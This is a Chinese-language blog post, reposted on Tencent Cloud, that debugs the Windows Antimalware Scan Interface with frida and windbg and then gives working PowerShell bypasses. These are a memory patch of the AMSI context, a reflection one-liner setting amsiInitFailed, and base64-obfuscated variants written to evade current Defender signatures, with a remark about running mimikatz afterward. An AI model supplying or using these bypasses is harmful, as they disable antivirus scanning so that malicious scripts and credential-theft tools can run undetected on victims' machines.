专栏首页鸿鹄实验室AMSI调试及绕过

AMSI调试及绕过

测试环境:

工具环境:

测试过程:

首先我们要知道AMSI是一个什么东西,之前做过相关的分享,这里就不再去啰嗦其概念了,一句话概括,win10自带的一个扫描接口,其核心组件存在于amsi.dll内,与windows defender相辅相成,过程如下:

更具体的函数结构体什么的,自己去看MSDN,链接给你们了。

https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiinitialize

https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiopensession

https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-functions

https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanstring

https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer

我们下面便开始从调试开始然后编写绕过amsi的脚本,调试过程为windbg与frida。

frida-trace -p 15 -x amsi.dll -i Amsi*

使用-p指定进程powershell的Pid,-x指定dll,-i使用*通配符来指定我们需要监控的API。

此时frida以及Hook住了amsi的相关函数,我们在powershell中输入字符串测试:

我们虽然识别了对AmsiOpenSession、AmsiScanBuffer和AmsiCloseSession的调用,但无法了解其内部过程,frida在Hook时默认会生成js文件,我们可以更改此类文件,来改变其Hook时的输出,方便我们理解整个过程。

首先是AmsiScanBuffer,默认如下:

将其更改如下:

此时我们再来进行测试:

此时以及变得容易查看与观看,然后我们输入经典的Amsi测试语句:

不出意外的被拦截了,我们换成绕过的语句:

从这个输入和输出,我们可以推断,WindowsDefender将“AmsiUtils”字符串标记为恶意。然而,我们很容易绕过了这个问题,即使用通过拆分和连接字符串进行保护。

下面我们打开windbg并也附加到powershell进程之中:

在powershell中输入字符串,测试:

所指的地方是其内存地址,我们使用windbg进行追踪:

dc:双字值(4字节)和ASCII字符。每个显示行都会显示行中第一个数据的地址,并且每行最多显示8个16进制值以及它们对应的ASCII字符。默认的显示数量为32个DWORD(128字节)。

我们不知道其大小,但可以看到AMSI的ASCII字符,为了知道其调用方式,我们需要unassemble,AMSI模块的AmsiOpenSession功能

我们可以看到我圈起来的地方有明显的内存比较的过程,而rcx将包含AmsiOpenSession的功能原型,其中有Jne指令,为跳转到0x4c,我们跟一下

条件跳转最终导致函数退出,其静态值为80070057h,根据AmsiOpenSession函数原型我们可知,其为一个返回值为句柄的函数:

HRESULT AmsiOpenSession(
  HAMSICONTEXT amsiContext,
  HAMSISESSION *amsiSession
);

而80070057h则代表:

到此我们已经了解其大体过程,下面我们来使用windbg来走一遍,下断点,并将rcx中的amsi patch掉:

此时便已经绕过了amsi打印出了我们的字符串。下面我们使用Powershell的反射来进行Amsi的绕过,其主要信息存储在:

System.Management.Automation.AmsiUtils

这个好说,我们可以使用循环遍历方法来绕过,主要是获取amsiContext的值:

将其转成hex便是它的内存地址:

根据前面的测试我们知道,我们只需要patch前四个字节即可。我们将其patch之后,然后再来查看:

此时已无AMSI,再来测试:

当然你也可以使用下面这类方法:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFai led','NonPublic,Static').SetValue($null,$true)

新开一个powershell测试:

没关系,我们来bypass,之前有人利用的是base64:

[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

但现在已经会被标记并查杀了,我们这里对他进行增强:

function b64decode {
 param ($encoded) 
 $decoded = $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($en coded)) 
 return $decoded
 } 
  $1 = b64decode("U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHM=") 
  $2 = b64decode("YW1zaUluaXRGYWlsZWQ=") 
  $3 = b64decode("Tm9uUHVibGljLFN0YXRpYw==")
   [Ref].Assembly.GetType($1).GetField($2,$3).SetValue($null,$true)

注:此类方法不太适合mimikatz,可以执行,但执行后便会被查杀。若非要使用,则最后使用变换过的mimikatz。

本文分享自微信公众号 - 鸿鹄实验室(gh_a2210090ba3f),作者:鸿鹄实验室a

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2021-09-04

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 无招胜有招: 看我如何通过劫持COM服务器绕过AMSI

    ? 在Windows 10中,Microsoft的反恶意软件扫描接口(AMSI)被作为新功能被引入,作为标准接口,该功能可以让反病毒引擎将特征规则应用于机器的...

    FB客服
  • 绕过AMSI进行逃避审计

    在之前的文章,hook rdp对外连接的账号密码 中有提到利用Detours进行hook得到rdp的账号密码,今天正好看到绕过AMSI的文章,那我们今天继续利用...

    Jumbo
  • Antimalware Scan Interface (AMSI)—反恶意软件扫描接口的绕过

    反恶意软件扫描接口(AMSI)是MicrosoftWindows保护系统,旨在保护计算机免受通过脚本语言(例如PowerShell,VBScript,JavaS...

    洛米唯熊
  • MeterPwrShell:绕过AMSI,绕过防火墙,绕过UAC和绕过任何AV

    生成Powershell Oneliner的自动化工具,该工具可以在Metasploit,Bypass AMSI,Bypass防火墙,Bypas...

    Khan安全团队
  • Bypass Windows Defender Reverse Shell

    本文将从powershell特性说起,一步步介绍powershell特性,并使用特性绕过Windows Defender Reverse Shell,并在最后给...

    鸿鹄实验室
  • GadgetToJScript在VBA中的利用

    https://www.shutingrz.com/post/explore-dotnet-serialize-g2js/

    鸿鹄实验室
  • regsvr32绕过(二)

    发现主要是Cmdline这里报的错,当然分类这里是因为MSF的脚本内容触发了AMSI的内容:

    鸿鹄实验室
  • 如何使用MeterPwrShell自动生成PowerShell Payload

    MeterPwrShell是一款功能强大的自动化工具,可以帮助广大研究人员以自动化的形式生成完美的PowerShell Payload。MeterPwrShel...

    FB客服
  • 11.反恶意软件扫描接口 (AMSI)

    Windows 反恶意软件扫描接口 (AMSI) 是一种通用接口标准,可以集成在应用程序和服务与机器上存在的任何反恶意软件产品中。可以增强杀毒软件的查杀能力。

    黑白天安全
  • HTTP-revshell:能绕过AMSI的PowerShell代理感知型反向Shell

    HTTP-revshell是一个能够绕过AMSI的PowerShell代理感知型反向Shell,这款工具转为红队研究人员以及渗透测试人员设计,能够通过HTTP/...

    FB客服
  • Antimalware Scan Interface Provider for Persistence

    Windows 反恶意软件扫描接口 (AMSI) 是微软推出一种通用接口标准,允许的应用程序和服务与机器上存在的任何毒软件进行调用。AMSI 为的最终用户及其数...

    黑白天安全
  • OffenSive Csharp Development Part5 && 星球来袭

    本文是OffenSive Csharp Development的第五篇文章,主要讲解如何使用C#进行AMSI bypass。

    鸿鹄实验室
  • 总结到目前为止发现的所有EDR绕过方法

    所有关注攻击性安全社区的人都会在过去两年中一次又一次地遇到Userland hooking, Syscalls, P/Invoke/D-Invoke等术语。我自...

    用户2202688
  • Agent Tesla新感染链解析

    Agent Tesla 最近一次的攻击部署在 RTF 文件里使用了多个 OLE 对象构建了复杂的感染链,虽然不是新技术手段,但在野利用仍然十分有效。

    FB客服
  • 一种 Powershell 的混淆方式绕过 AMSI 检测

    这篇文章将是关于通过 PowerShell 混淆来规避大多数 AV。这不是什么新鲜事,但很多人问我如何真正隐藏,或者如何混淆现有的有效载荷或 PowerShel...

    信安之路
  • 构建自定义的Empire模块来绕过amsi

    今天逛推特,看到了某师傅通过自定义Empire模块来绕过amsi,地址如下:https://twitter.com/_vinnybod/status/13864...

    鸿鹄实验室
  • 浅谈非PE的攻击技巧

    背景 近日,金山毒霸安全中心捕获到一例利用邮件传播的非PE样本,类型为lnk快捷方式文件,执行后会下载勒索病毒,最终会加密用户机器上的文档、图片、视频等重要文件...

    FB客服
  • 神兵利器 - Invisi-Shell 绕过所有Powershell安全功能

    将你的Powershell脚本隐藏在目标下! Invisi-Shell通过与.Net程序集挂钩,绕过了所有Powershell的安全特性(脚本块记录、模块记录、...

    Khan安全团队
  • 如何绕过IsDebuggerPresent的反调试

    先上原文链接:https://www.52pojie.cn/thread-1432590-1-1.html

    HACK学习

扫码关注云+社区

领取腾讯云代金券